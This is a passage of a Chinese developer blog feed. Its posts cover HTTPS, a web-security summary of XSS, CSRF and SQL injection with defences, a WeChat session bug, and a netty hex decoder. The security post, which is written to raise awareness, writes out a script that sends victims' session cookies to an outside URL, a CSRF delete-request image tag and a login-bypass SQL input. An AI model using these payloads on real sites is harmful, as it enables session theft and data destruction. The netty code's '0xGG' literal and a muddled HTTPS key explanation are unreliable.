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" alt="avatar"></p><h4><span id="追加内容-https总结">追加内容-HTTPS总结</span></h4><p>更新日期:2021-6-7 14:07 ,1202年了,基本上所有的网站都使用了HTTPS,已经少有网站使用HTTP了,在这里总结下为什么HTTPS传输是安全的。</p><p><strong>为何需要HTTPS?</strong></p><p>因为HTTP是明文传输,可以被中间人攻击。</p><p><strong>如何保证传输安全?</strong></p><p>所有请求加密传输,客户端请求服务器获取公钥 -> 服务器返回公钥 -> 客户端生成密钥发送给服务器 -> 最终所有通信都使用该密钥加密再传输。</p><p>由于密钥只有客户端和服务端持有,中间人即使截获也无法修改内容,因此传输过程是安全的。</p><p>但是这是理想情况,中间人可以截获服务器返回的公钥并返回自己生成的私钥给服务器,因此这个时候就要引进CA证书机构。</p><p><strong>CA证书机构保证密钥传输安全</strong></p><p>既然直接传输无法保证密钥安全,所以引进一个可信任的第三方机构来发放证书,证书中包括公钥,浏览器从证书获取公钥,且证书使用了数字签名来防止被篡改。</p><p>浏览器通过该机构的公钥将证书内容做HASH运算并比较运算结果来检测证书是否被篡改。</p><p><strong>证书机构的公钥从何而来?如何保证证书机构的公钥是可信的?</strong></p><p>浏览器和操作系统会预装可信任的CA机构的根证书,根证书中附带了CA机构的公钥(这就是为什么不要随便安装证书)。</p><p>总结,HTTPS = 加密传输+CA证书机构 </p><h1><span id="关于tcp详细的文章推荐">关于TCP详细的文章推荐</span></h1><p>在浏览器地址栏输入一个URL后回车,背后会进行哪些技术步骤? - 小林coding的回答 - 知乎</p><p><a href="https://www.zhihu.com/question/34873227/answer/1657140394">https://www.zhihu.com/question/34873227/answer/1657140394</a></p>]]></content>
<summary type="html"><h1 id="HTTP、HTTPS、TCP-IP总结"><a href="#HTTP、HTTPS、TCP-IP总结" class="headerlink" title="HTTP、HTTPS、TCP/IP总结"></a>HTTP、HTTPS、TCP/IP总结</h1><h4 id="协议分类"><a href="#协议分类" class="headerlink" title="协议分类"></a>协议分类</h4><p>HTTP属于应用层协议,TCP属于传输层协议,IP属于网络层协议,一个HTTP协议由IP协议包体包含了TCP协议内容,而TCP协议包体又包括了HTTP协议内容,就像一个洋葱。</p>
<h4 id="HTTP请求历程"><a href="#HTTP请求历程" class="headerlink" title="HTTP请求历程"></a>HTTP请求历程</h4><p>一个HTTP请求的完整历程,首先会根据URL解析请求的地址和端口,此时的地址拿到的一般是域名,因此还需要根据DNS服务器获取域名的真实IP。</p>
<p>NDS服务查询完毕后,此时浏览器会调用Socket库将HTTP协议里的内容包装成TCP或者UDP协议包。</p>
<p>光靠TCP协议还无法具备传输功能,因此TCP还需要借助IP协议来定位目标服务器在互联网中的位置,光靠IP依旧无法准确定位,因为一个IP可能有好几台设备使用,要明确要传输的目标还得在IP头部加上目标的MAC地址。</p>
<p>最后由网卡将数字信息转换为光信号经网线发送出去,将服务器通过交换机和路由器接收到请求包后像剥洋葱一样一层一层解析包中内容。</p>
<p>小结,一个HTTP请求总共要经历如下几层协议:</p>
<ul>
<li><p>应用层:定义数据格式,并按照对应的格式解读数据。 –HTTP</p>
</li>
<li><p>传输层:定义端口,确认主机上应用程序的身份,并将数据包交给对应的应用程序。 –TCP</p>
</li>
<li><p>网络层:定义IP地址,确认主机所在的网络位置,并通过IP进行MAC寻址,对外网数据包进行路由转发。 –IP</p>
</li>
<li><p>链路层:对0和1进行分组,定义数据帧,确认主机的物理地址,传输数据。 –物理传输</p>
</li>
</ul></summary>
<category term="JAVA" scheme="https://reiner.host/categories/JAVA/"/>
<category term="TCP" scheme="https://reiner.host/tags/TCP/"/>
<category term="HTTP协议" scheme="https://reiner.host/tags/HTTP%E5%8D%8F%E8%AE%AE/"/>
</entry>
<entry>
<title>WEB安全总结</title>
<link href="https://reiner.host/posts/d581b2e3.html"/>
<id>https://reiner.host/posts/d581b2e3.html</id>
<published>2021-05-13T02:41:00.000Z</published>
<updated>2021-12-24T12:18:32.977Z</updated>
<content type="html"><![CDATA[<h1><span id="前言">前言</span></h1><p> 最近看了《白帽子讲WEB安全》,书的内容可能已经过时了,但是用来提高安全意识还是不错的,现在将它记下来做个总结。</p><p>WEB安全整体给我的感觉是虽然重要,但攻击手段有限,安全的大头还是在服务器安全这块。</p><h1><span id="xss攻击">XSS攻击</span></h1><p>先来第一个,XSS攻击,XSS攻击主要分为两类: 1、存储型XSS 2、反射型XSS ,先来看反射型XSS攻击。</p><h4><span id="反射型xss攻击">反射型XSS攻击</span></h4><p>所谓反射型XSS攻击其实就是利用JAVASCRIPT解析漏洞,将原本该解析成HTML的内容解析成了JS代码,那么如何实现攻击的呢? 假设某个20年前原始的网站有如下代码:</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">请输入搜索关键字:<span class="tag"><<span class="name">input</span> <span class="attr">type</span>=<span class="string">"text"</span> <span class="attr">name</span>=<span class="string">"search"</span> ></span></span><br><span class="line"></span><br><span class="line">您的搜索关键字是:${keyword}</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>此时我们输入:<code><script>alert('xss')</script></code> ,点击搜索后,发现页面上打印alert(xss)了,但是这样只是控制了自己的浏览器JS,没有意义(用浏览器控制台一样可以做到),因此要将此漏洞散布出去。</p><p>假设它的搜索请求url是:<a href="http://reiner.host/search?keyword=WEB%E5%AE%89%E5%85%A8%E6%80%BB%E7%BB%93">http://reiner.host/search?keyword=WEB安全总结</a> ,将其改为 <a href="http://reiner.host/search?keyword=">http://reiner.host/search?keyword=</a><script>alert(cookie.sid)</script> ,并将链接分享出去,诱导别人去点击。</p><p>此时这个倒霉鬼如果刚好登陆了该网站,那么你就可以通过JS拿到他的sessionId,然后弄个不可见的iframe将sessionId传到自己的服务器,从而为所欲为了。</p><p>PS:担心加上JS代码后链接过长可以弄个短链接。</p><p><strong>所以防止反射型XSS的关键点在于不能直接将用户输入的内容展现出来</strong>,绝大部分前端框架一般是解决了此问题的,即用户输入内容不会被浏览器解析为JS代码,但不排除一定就没有XSS漏洞了。</p><p><strong>防反射型XSS攻击总结</strong></p><p>1、对于用户输入的内容不要直接展示</p><p>2、使用稳定的开源框架,一般有自动处理</p><p><em>这就是为什么要注意不要乱点链接</em></p><span id="more"></span><h4><span id="储存型xss攻击">储存型XSS攻击</span></h4><p>此类漏洞危害性最大,是反射型XSS攻击的加强版,原理依旧是将用户输入内容解析为JS代码。</p><p>假设某论坛没有对用户输入内容做处理直接展示,此时我新建一个帖子,内容如下:</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><script></span><br><span class="line"><span class="built_in">window</span>.open(<span class="string">'http://reiner.host/xss?cookieId='</span>+cookie.sessionId);</span><br><span class="line"></script></span><br></pre></td></tr></table></figure><p>标题为:震惊!一对男女大白天在办公室竟干出这种事!(附图片) ,我相信会有很多人点进来,然后他们就会自动打开新窗口,他们的session id我全知道了。</p><p>如果想做得绝一点,甚至可以做个隐藏表单提交,表单请求一些删除操作的接口。。。</p><p><strong>防存储型XSS攻击总结</strong></p><p>1、在做好反射型XSS攻击的基础上增加XSS过滤器,github上应该有很多现成的xss过滤器可以用,将js代码转义再存储</p><p>2、设置http header里的http only 为true,这样浏览器会禁止js代码读取cookie</p><h1><span id="csrf跨域脚本攻击">CSRF跨域脚本攻击</span></h1><p>CSRF其基本原理是伪造请求,即对于服务器来说,请求是合法的,但是这可能并不是用户主动发起的,假设某论坛网站的删除接口URL是 <a href="https://reiner.host/delete?id=%7Bid%7D">https://reiner.host/delete?id={id}</a> </p><p>通过查看帖子我知道了某用户的一个帖子ID是1,此时我给该用户发私信了,内容是: <code><img src="https://reiner.host/delete?id=1"/></code> 。</p><p>该用户打开私信时看到的只是一张加载失败的图片,但是实际上浏览器已经请求了delete接口,他的ID为1的帖子已经被删除了。</p><p><strong>防CSRF跨域脚本攻击总结</strong></p><p>1、 Referer check来源检查,请求不能是通过其它域名请求过来的。</p><p>2、使用TOKEN验证用户身份,这样伪造请求的接口地址中没有TOKEN就无法请求成功</p><p>以上均为示例,实际攻击手段各种各样。</p><h1><span id="flash漏洞">FLASH漏洞</span></h1><p>这个玩意漏洞一堆,所以可以看到chrome为了安全已经把它禁用了,而且这个年代已经没有人使用FLASH了,因此FLASH直接PASS 。</p><h1><span id="sql注入">SQL注入</span></h1><p>这个年代SQL注入基本上已经凉了,除非某些新手同志写代码不好好用占位符,假设漏洞代码如下 :</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="meta">@Autowired</span></span><br><span class="line">JdbcTemplate jdbcTemplate;</span><br><span class="line"></span><br><span class="line"><span class="meta">@RequestMapping("login")</span></span><br><span class="line"><span class="function"><span class="keyword">public</span> String <span class="title">login</span><span class="params">(String userName,String password)</span></span>{</span><br><span class="line"> jdbcTemplate.query(<span class="string">"SELECT * FROM USER WHERE USER_NAME = "</span>+userName + <span class="string">" AND PASSWORD = "</span>+password);</span><br><span class="line"> ...以下省略</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>在登陆框里输入用户名为:<code>admin --</code> 密码: 随便填 ,拼出来的SQL就变成了:<code>SELECT * FROM USER WHERE USER_NAME = admin --AND PASSWORD=123</code> ,后面的条件都注释掉了。</p><p><strong>应对方法</strong></p><p>1、使用参数占位符,举例:<code>jdbcTemplate.query("SELECT * FROM USER WHERE USER_NAME = ? AND PASSWORD = ?",userName,password);</code>,使用mybatis的${}要注意,此符号是拼接SQL。</p><p>2、参数过滤,每个添加、修改请求过滤参数里可能存在的敏感字符,如UPDATE DELETE 等,网上已经有大量的开源工具可以帮我们过滤。</p><h1><span id="会话劫持">会话劫持</span></h1><p>浏览器和服务器之间的通信内容被人抓包到了,劫持人获得了你的TOKEN以及所有请求内容</p><p>解决:<br>1、上HTTPS</p><p>2、每次请求返回带上下一次请求的随机数,后端验证该随机数是否正确</p><h1><span id="其它安全">其它安全</span></h1><p>不在WEB安全范围内,有如下几点:</p><ul><li>TCP连接攻击</li><li>DDOS攻击</li><li>服务器安全配置</li><li>系统漏洞扫描</li><li></li></ul><p><strong>其它WEB安全:</strong></p><ul><li>代码扫描</li><li>XSS漏洞扫描</li></ul><p><strong>渗透测试工具</strong></p><ul><li>SQLmap - 可自动检测和利用SQL注入漏洞</li><li>John the Ripper - 一款免费的密码破解软件工具</li><li>Netsparker Security Scanner - 用于渗透测试的Web应用工具</li><li>W3af - 分析和利用基于Web的应用中可能存在的任何安全漏洞</li></ul><p>以上工具可以帮助我们发现WEB应用中可能存在的漏洞。</p>]]></content>
<summary type="html"><h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p> 最近看了《白帽子讲WEB安全》,书的内容可能已经过时了,但是用来提高安全意识还是不错的,现在将它记下来做个总结。</p>
<p>WEB安全整体给我的感觉是虽然重要,但攻击手段有限,安全的大头还是在服务器安全这块。</p>
<h1 id="XSS攻击"><a href="#XSS攻击" class="headerlink" title="XSS攻击"></a>XSS攻击</h1><p>先来第一个,XSS攻击,XSS攻击主要分为两类: 1、存储型XSS 2、反射型XSS ,先来看反射型XSS攻击。</p>
<h4 id="反射型XSS攻击"><a href="#反射型XSS攻击" class="headerlink" title="反射型XSS攻击"></a>反射型XSS攻击</h4><p>所谓反射型XSS攻击其实就是利用JAVASCRIPT解析漏洞,将原本该解析成HTML的内容解析成了JS代码,那么如何实现攻击的呢? 假设某个20年前原始的网站有如下代码:</p>
<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">请输入搜索关键字:<span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">&quot;text&quot;</span> <span class="attr">name</span>=<span class="string">&quot;search&quot;</span> &gt;</span></span><br><span class="line"></span><br><span class="line">您的搜索关键字是:$&#123;keyword&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<p>此时我们输入:<code>&lt;script&gt;alert(&#39;xss&#39;)&lt;/script&gt;</code> ,点击搜索后,发现页面上打印alert(xss)了,但是这样只是控制了自己的浏览器JS,没有意义(用浏览器控制台一样可以做到),因此要将此漏洞散布出去。</p>
<p>假设它的搜索请求url是:<a href="http://reiner.host/search?keyword=WEB%E5%AE%89%E5%85%A8%E6%80%BB%E7%BB%93">http://reiner.host/search?keyword=WEB安全总结</a> ,将其改为 <a href="http://reiner.host/search?keyword=">http://reiner.host/search?keyword=</a><script>alert(cookie.sid)</script> ,并将链接分享出去,诱导别人去点击。</p>
<p>此时这个倒霉鬼如果刚好登陆了该网站,那么你就可以通过JS拿到他的sessionId,然后弄个不可见的iframe将sessionId传到自己的服务器,从而为所欲为了。</p>
<p>PS:担心加上JS代码后链接过长可以弄个短链接。</p>
<p><strong>所以防止反射型XSS的关键点在于不能直接将用户输入的内容展现出来</strong>,绝大部分前端框架一般是解决了此问题的,即用户输入内容不会被浏览器解析为JS代码,但不排除一定就没有XSS漏洞了。</p>
<p><strong>防反射型XSS攻击总结</strong></p>
<p>1、对于用户输入的内容不要直接展示</p>
<p>2、使用稳定的开源框架,一般有自动处理</p>
<p><em>这就是为什么要注意不要乱点链接</em></p></summary>
<category term="JAVA" scheme="https://reiner.host/categories/JAVA/"/>
<category term="WEB安全" scheme="https://reiner.host/tags/WEB%E5%AE%89%E5%85%A8/"/>
<category term="xss攻击" scheme="https://reiner.host/tags/xss%E6%94%BB%E5%87%BB/"/>
<category term="csrf攻击" scheme="https://reiner.host/tags/csrf%E6%94%BB%E5%87%BB/"/>
<category term="SQL注入" scheme="https://reiner.host/tags/SQL%E6%B3%A8%E5%85%A5/"/>
</entry>
<entry>
<title>微信小程序用户请求同一个接口session会话会阻塞</title>
<link href="https://reiner.host/posts/d84fac55.html"/>
<id>https://reiner.host/posts/d84fac55.html</id>
<published>2021-04-02T03:06:18.000Z</published>
<updated>2021-12-24T12:18:33.140Z</updated>
<content type="html"><![CDATA[<h1><span id="说明">说明</span></h1><p> 微信开发真乃坑中之坑,会话阻塞场景如下: </p><p>小程序,有两个用户同时访问同一个接口会阻塞,第二个请求的人必须请等一个请求的人处理完毕才会响应第二个请求。</p><p>但如果我在 PC 上用两个不同的浏览器同时请求这个接口,是并行的,从结果上来看可能是 session 阻塞,即同一个会话同时只能处理一个请求。</p><p>我的测试代码如下:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="meta">@RestController()</span></span><br><span class="line"><span class="meta">@RequestMapping("test")</span></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">TestController</span> </span>{</span><br><span class="line"></span><br><span class="line"><span class="meta">@GetMapping("block")</span></span><br><span class="line"><span class="function"><span class="keyword">public</span> String <span class="title">test2</span><span class="params">()</span> </span>{</span><br><span class="line"><span class="keyword">try</span> {</span><br><span class="line">System.out.println(<span class="string">"blocking... "</span>+Thread.currentThread().getName());</span><br><span class="line">Thread.sleep(<span class="number">8000l</span>);</span><br><span class="line">} <span class="keyword">catch</span> (InterruptedException e) {</span><br><span class="line">e.printStackTrace();</span><br><span class="line">}</span><br><span class="line"><span class="keyword">return</span> <span class="string">"OK"</span>;</span><br><span class="line">}</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>两个不同的小程序用户同时请求,第二个请求的人必须请等一个请求的人返回OK才会打印第二个请求的日志,理论上来说,不同用户的请求应当是并行的,但服务器似乎将它们视为同一个会话(session)了。</p><p>一开始想到了异步处理,即controller返回callable让处理不占用会话,但是发现这样做事务没法控制!</p><h1><span id="解决办法">解决办法</span></h1><p>最终使用了比较粗暴的解决办法,即不使用微信浏览器生成的session id,而是每次请求都由前端生成一个随机数作为session id,这样用户的请求就不会被视为同一个会话了</p>]]></content>
<summary type="html"><h1><span id="说明">说明</span></h1><p> 微信开发真乃坑中之坑,会话阻塞场景如下: </p>
<p>小程序,有两个用户同时访问同一个接口会阻塞,第二个请求的人必须请等一个请求的人处理完毕才会响应第二个请求。</p>
<p>但如果我在 PC 上用两个不</summary>
<category term="JAVA" scheme="https://reiner.host/categories/JAVA/"/>
<category term="微信小程序" scheme="https://reiner.host/tags/%E5%BE%AE%E4%BF%A1%E5%B0%8F%E7%A8%8B%E5%BA%8F/"/>
<category term="WEB开发" scheme="https://reiner.host/tags/WEB%E5%BC%80%E5%8F%91/"/>
<category term="session" scheme="https://reiner.host/tags/session/"/>
<category term="BUG" scheme="https://reiner.host/tags/BUG/"/>
</entry>
<entry>
<title>使用netty作为TCP服务端并使用16进制与硬件进行通信</title>
<link href="https://reiner.host/posts/94ca3821.html"/>
<id>https://reiner.host/posts/94ca3821.html</id>
<published>2021-03-22T02:55:33.000Z</published>
<updated>2021-12-24T12:18:33.129Z</updated>
<content type="html"><![CDATA[<h1><span id="说明">说明</span></h1><p>本文记录了在使用netty作为TCP服务端的情况下,如何解决TCP粘包、半包问题,以及如何使用16进制与客户端进行通信。</p><h1><span id="依赖">依赖</span></h1><p>首先添加maven依赖:</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">dependency</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">groupId</span>></span>io.netty<span class="tag"></<span class="name">groupId</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">artifactId</span>></span>netty-all<span class="tag"></<span class="name">artifactId</span>></span></span><br><span class="line"><span class="tag"></<span class="name">dependency</span>></span></span><br></pre></td></tr></table></figure><h1><span id="代码">代码</span></h1><h3><span id="创建字节转换类">创建字节转换类</span></h3><p>首先创建一个将字节转换为16进制的处理类,并判断包头包尾是否正确。</p><span id="more"></span><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">CustomDecode</span> <span class="keyword">extends</span> <span class="title">ByteToMessageDecoder</span> </span>{</span><br><span class="line"></span><br><span class="line">Logger logger = LoggerFactory.getLogger(getClass());</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="function"><span class="keyword">protected</span> <span class="keyword">void</span> <span class="title">decode</span><span class="params">(ChannelHandlerContext channelHandlerContext, ByteBuf in, List<Object> out)</span> <span class="keyword">throws</span> Exception </span>{</span><br><span class="line"> <span class="keyword">int</span> len = in.readableBytes(); <span class="comment">//这里得到可读取的字节长度</span></span><br><span class="line"> in.markReaderIndex(); <span class="comment">//包头做标记位,后面可以重新回到数据包头开始读数据</span></span><br><span class="line"> <span class="comment">//有数据时开始读数据包</span></span><br><span class="line"> <span class="keyword">if</span> (len > <span class="number">0</span>) {</span><br><span class="line"> <span class="keyword">byte</span>[] src = <span class="keyword">new</span> <span class="keyword">byte</span>[len];</span><br><span class="line"> in.readBytes(src); <span class="comment">//把数据读到字节数组中(读取完之后指针会到最后一个数据)</span></span><br><span class="line"> in.resetReaderIndex(); <span class="comment">//重置当前指针到标记位(包头),用于重新读取接收的数据,直至接收完完整数据包</span></span><br><span class="line"> <span class="keyword">if</span>(len><span class="number">1</span>) {</span><br><span class="line"> <span class="comment">//判断包头是否为约定的字节</span></span><br><span class="line"> <span class="keyword">if</span>((src[<span class="number">0</span>] & <span class="number">0x000000ff</span>) != <span class="number">0xAB</span> || (src[<span class="number">1</span>] & <span class="number">0x000000ff</span>) != <span class="number">0xCD</span>) {</span><br><span class="line"> logger.warn(<span class="string">"无法识别的包头,转换为16进制的包头为:{}"</span>,StringUtil.byteToHexString(src));</span><br><span class="line"> <span class="comment">// 包头不对,直接断开连接</span></span><br><span class="line"> channelHandlerContext.close();</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">//字节转换为16进制,判断最后两个字节是否为结尾字节,0x000000ff等于十进制的255</span></span><br><span class="line"> <span class="keyword">if</span>((src[len-<span class="number">2</span>] & <span class="number">0x000000ff</span>) == <span class="number">0xEF</span> && (src[len-<span class="number">1</span>] & <span class="number">0x000000ff</span>) == <span class="number">0</span>xGG) {</span><br><span class="line"> in.skipBytes(in.readableBytes());<span class="comment">//标记已读取完毕</span></span><br><span class="line"> <span class="comment">//收到了尾部字节,完成接收</span></span><br><span class="line"> out.add(src);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">//非结尾字节,继续接收,当数据包的长度不够时直接return,netty在缓冲区有数据时会一直调用decode方法,所以我们只需要等待下一个数据包传输过来一起解析(解决半包问题)</span></span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line"> }<span class="keyword">else</span> {</span><br><span class="line"> <span class="comment">// 发空数据包过来的家伙直接断开连接</span></span><br><span class="line"> channelHandlerContext.close();</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="function"><span 